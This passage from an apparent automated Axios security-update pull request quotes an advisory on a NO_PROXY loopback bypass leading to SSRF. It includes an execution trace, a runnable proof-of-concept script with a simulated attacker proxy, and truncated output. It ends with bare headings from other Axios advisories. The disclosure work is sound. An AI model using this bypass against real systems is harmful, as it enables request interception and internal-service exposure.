    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

Internal microservices and admin dashboards using dedicated loopback IPs
Development environments with multiple isolated service instances
Docker and container bridge network configurations
Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios

##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DI

> ✂ **Note**
> 
> PR body was truncated to here.

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Update dependency axios to v1.15.2 [SECURITY]

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Update dependency axios to v1.15.2 [SECURITY]#4605

Update dependency axios to v1.15.2 [SECURITY]#4605
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Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

Details

Denial of Service via proto Key in mergeConfig

Summary

Details

PoC

Impact

Severity

References

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

Usage of "Helper" Vulnerabilities

Proof of Concept

1. The Setup (Simulated Pollution)

2. The Gadget Trigger (Safe Code)

3. The Execution

4. The Impact

Impact Analysis

Recommended Fix

References

Severity

References

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

Details

Severity

References

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

CWE

CVSS 3.1

Vulnerable Code

Why the Standard Flow Is NOT Affected

Proof of Concept

Verified PoC Output

Impact Analysis

Recommended Fix

Resources

Timeline

Severity

References

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Details

Summary

Affected Properties

Proof of Concept

Impact

Root Cause

Suggested Fix

Severity

References

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in parseReviver

Summary

CWE

CVSS 3.1

Comparison with All Known Axios PP Gadgets

Usage of "Helper" Vulnerabilities

Root Cause Analysis

The Attack Path

Why parseReviver Bypasses ALL Existing Protections

Vulnerable Code

Proof of Concept

Verified PoC Output

Impact Analysis

1. Authorization / Privilege Escalation

2. Financial Manipulation

3. Security Control Bypass

4. Silent Data Exfiltration

5. Universal and Invisible

Recommended Fix

Fix 1: Use hasOwnProperty check before using parseReviver

Fix 2: Use null-prototype config object

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Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Why `parseReviver` Bypasses ALL Existing Protections

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

Fix 3: Validate `parseReviver` type and source

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